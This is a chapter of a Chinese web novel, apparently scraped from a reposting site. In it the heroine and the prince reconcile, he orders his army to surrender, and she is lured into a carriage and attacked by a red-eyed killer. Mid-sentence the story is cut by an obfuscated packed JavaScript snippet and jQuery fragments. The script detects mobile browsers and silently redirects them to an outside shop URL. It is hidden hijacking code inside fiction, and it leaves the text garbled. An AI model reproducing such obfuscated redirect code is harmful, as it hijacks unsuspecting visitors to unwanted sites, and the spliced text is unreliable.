37.红眼

作品:《乱世女主决定弃屠从医

    待赵卿文穿戴齐整,陈皎皎从自己的衣襟里取出了那只先前被她没收的小瓷瓶,又双手递到他的眼前。


    赵卿文愣住,他低下头,犹豫地接过了瓷瓶。


    陈皎皎轻轻叹气,原先她并不知晓他的不易,如今窥见一二,反倒没了什么主意。俗话说得好,“解铃还须系铃人”,这令人成瘾的药是否还接着服用,最终还是要看赵卿文的。


    她抬眸,不多言语,静静端详着他的脸色,可谁知下一刻,赵卿文弯腰,将手中连瓶带药一齐埋进了脚下湿润的泥土里。


    嗯?


    “你,想通了……?”


    陈皎皎试探着开口。


    赵卿文“嗯”了一声,拍了拍那崭新隆起的小土包:“身若不自由,心又岂能自由?”


    哦,好高深的话。陈皎皎似懂非懂,她转了转眼珠子,暗觉经此一遭,赵卿文似乎与之前不大一样了,至于具体哪里发生了变化,她也说不大清。不过,她或许可以暂且确信,应是往好的那一方变了,至少他不会再任由邪药操控随意损伤自己的身心了。


    就在她低眉思索之际,赵卿文忽地直起身,一把紧紧拥过了陈皎皎。他身上那股熟悉的涩苦药香经过荡涤之后已经淡了不少,浸过圣泉的身子此时还氤氲着湿漉漉的暖意:“皎皎,多谢。”


    陈皎皎缓缓抬起双臂,也迟疑着环上了他的窄腰,她踮起脚尖,将下巴搁在他的肩上,笑眼盈盈:“我才要谢你呢。多谢你那日舍身相救……”


    “那在下以身相许好了……”


    赵卿文嗓音温润,裹着轻笑,像土罐子里的蜜饯一样。


    陈皎皎顺势捏了一捏他精瘦的腰肉:“油嘴滑舌啊!”


    赵卿文抿唇,擒握住她那只不算老实的手,神色严肃,眼波却是流转潋滟,藏着丝丝哀怨与乞求:“皎皎错怪在下了,在下是认真的……”


    “好”,陈皎皎双手捧上他的脸,粗粝的指腹触上柔软白皙的皮肉,她眼眸似有亮星,定定地望着他:“待一切了结,你就以身相许。”


    “皎皎”,赵卿文目光下移,直勾勾盯着她的双唇,耳尖却红了:“先前我留给你的那只荷包去哪里了?”


    他想知道她有没有看见荷包里的那张字条,他期许她能看到,又害怕她看到。


    “嗯……不慎遗失了”,陈皎皎一时语塞。她瞥见赵卿文因失落而蓦然暗下去的眼睛,又连忙补了一句:“说来话长,我不是故意的。”


    “真的吗?”


    “真的。”


    ……


    陈皎皎与赵卿文坐上了回牧民猎营的牦牛,路上,热心肠的牧民大姐双手合十,虔诚地向湛蓝天穹之下的雪山与圣泉祈请,他们二人也照葫芦画瓢地合上双手,陈皎皎在心中默念:


    愿此番顺利,还众多无辜死去的百姓们一个公道。


    愿天下早日太平。


    长毛的牦牛咀嚼着青草,晃晃悠悠地翻过山坡,牧民们搭起的简易猎营四面此刻却围了不少人。


    这些人身着统一的中原常服,瞧上去平常无奇,却无一不佩戴了锋利的刀剑,一些牧民已被中伤跪倒在地,另一些牧民手上举着粗制的石刀木棍,与他们遥遥对峙。


    人群之中,有个极其熟悉的、苍老的身影,他只是摆了摆右手,旁侧的中原人就立即受命抽出了佩刀,抵在了小孩的脖子上:“说!你们把殿下藏哪了!”


    “放开他!”


    陈皎皎箭步冲到小孩的身前将他护住。


    “是你?!”老头认出了陈皎皎,他夺过长剑,横架在她的肩膀上,怒目圆睁,咬牙切齿:“你竟然还没死!我知道了,一切定是你蓄意报复,与这些贱民勾结!”


    “舅舅”,反观一旁的赵卿文异常冷淡,出手按在了老者的臂上:“与她无关。”


    舅舅?


    原来那老者姓袁,单名戒,是本朝首任国师天官之后,其一母同胞的亲妹妹是先帝的贵妃,亦是赵卿文的生母。


    “殿下!”


    袁戒直直跪下,布满皱纹的脸庞垂下两行浊泪:“是微臣无能,令殿下圣体欠安……”


    他眼神向上,却见到赵卿文的腰际空空荡荡。袁戒颤着抬起枯瘦的双手,指向他的腰间:“殿下,那随身的灵丹为何不见了……”


    赵卿文神色平静:“经此一难,因祸得福,孤幸得圣泉庇佑,经年顽疾已然彻底根除。”


    言下之意,他不会再服用所谓的“灵丹妙药”了。


    陈皎皎看着袁戒的神情蓦然怔滞,随即眼风斜扫,夹带着莫名的恨意狠狠瞪了自己一眼,一张老脸笑得别扭又有一丝古怪:“那臣等恭喜殿下……”


    他说着,身后乌压压跟着跪下了一片,众人齐声附和道:“臣等恭喜殿下!”


    ……


    陈皎皎与赵卿文回到了安王大营。


    营帐内灯火通明,赵卿文连夜召集了三军统帅,下令撤兵出降。


    “什么?!”军令一出,众将士皆为大骇:“望殿下三思啊!”


    赵卿文拂了拂衣袖:“孤意已决,众卿不必再议。”


    与陈皎皎相遇相识之后,他才明白自己无意成为君临天下的九五之尊,他时常活在天下因其动乱百姓因其流离的痛苦之中却踌躇不前难以自拔。


    “身若不自由,心又岂能自由?”


    所幸这一条不归路没有再继续走下去,苦海无边涯,回头即是岸。


    众人面面相觑不知如何是好,良久未曾有言的袁戒开口了:“臣等遵旨。”


    此话一出,在座诸位鸦雀无声。


    无人不知袁戒追随见安王最久,且与安王有一层甥舅亲缘关系。既然殿下身边向来最是忠心耿耿的老臣都这么说了,那一切自是无可转圜了。


    众人见状只能纷纷告退,袁戒安也拱手作揖,退出了大营。


    可才一出大营,袁戒安便面色一沉,冰冷无情的双眼早没了方才示以众人的平和与冷静,他压低嗓子,沉声吩咐随从的心腹:“你现在速速把‘他’给我召回来!”


    陈皎皎是在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259871|193030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给营中伤员包扎上药之时,听闻了赵卿文决意解散三军一事,她手中一顿,内心颇感震惊,却也欣慰他能有所开悟,抉择放手。


    就在此刻,帐外忽有侍从进来,说安王殿下有请。


    陈皎皎瞧这侍从有些许眼生,疑心有诈,添言问了句“何事”,那侍从环顾左右,上去附耳轻声道:“为的是那真凶一事。”


    陈皎皎闻言瞬间了然,心下的疑虑也顿时散去了大半,她不禁猜测是赵卿文终于愿将真凶交付与她处置。再抬眼,就连这眼生的小侍从也莫名眼熟起来,想来定是军营之中人事更替,常有流动。于是,她放下了手中之事,欣然与那人前往了。


    侍从带着她一路往东去,离安王大营越来越远,二人最终停在一架高大的马车前,他开口:“大人,请上车。”


    这马车好生眼熟。陈皎皎稍作回忆,便想起自己曾为宛娘问药之时于绥城见过这辆马车,也正是此车替她寻得了赵卿文的踪迹。兜兜转转,恰如当日。


    小侍从将人带到后,匆匆告退。


    陈皎皎立于帘外,轻声唤道:“赵卿文?”


    无人应答。


    一时西风乍起,荒郊野岭,夜色稍浓,北疆草原上薄雾渐起,宛如有许许多多缥缈无定的白色魂魄。


    “赵卿文,你在里面吗?”


    陈皎皎心下疑惑,随即伸手撩开了帘布——


    漆黑无光的车马内,响起一声轻蔑的笑,紧接着,一双鲜红嗜血的眼睛自暗处猛地睁开,死死盯向她。


    陈家村,雪夜,灶台,窗边。


    回忆如潮水般纷至沓来,死亡的气息弥漫在无人的荒野,她想起,屠杀全村的刽子手之中也有这样的一双眼睛。


    陈皎皎猛地呼吸一滞,她暗呼不妙,正欲抽身离去之际,岂料一只布满疤痕的手臂猛地拽住了她的长发。


    巨大的拖拽力量迫使她不断往车内移去,头皮在两相撕扯之间又麻又痛。


    不行啊,再这样僵持下去,她定然会没命的。


    陈皎皎忍着剧痛,不停寻找可以助她脱困的物件。她摸遍全身,终于从衣袋里摸出一把用以剪短纱布和缝线的小剪子。


    她握住剪子,抬手,咬牙,乘人不备,朝车内的那双红色的眼睛狠狠刺去:“给我死啊!”


    哗啦——


    那人侧身一躲,剪口一歪,遗憾没能扎进那人的眼睛里,却也划伤了那人的手臂,给其再添了一道伤新伤。


    原以为那人会就此吃痛,松开双手,给她得以逃脱的时机,可谁知那人仿佛感受不到半点疼痛一般,任凭鲜血顺着伤口滴在车内的华毯上也无动于衷。


    陈皎皎的反击似乎并没有激怒他,这一切在他眼中无异于孩童的把戏,其中自不量力的抵抗反而使得他越发兴奋起来,止不住地发出桀桀怪笑,手上抓拽的力道更是加重了好几分。


    发丝一根接着一根被无情折断,像崩裂的琴弦。陈皎皎忍痛,握紧剪子,一个回身,未经半分犹豫,齐齐割断了那些受人钳制的头发。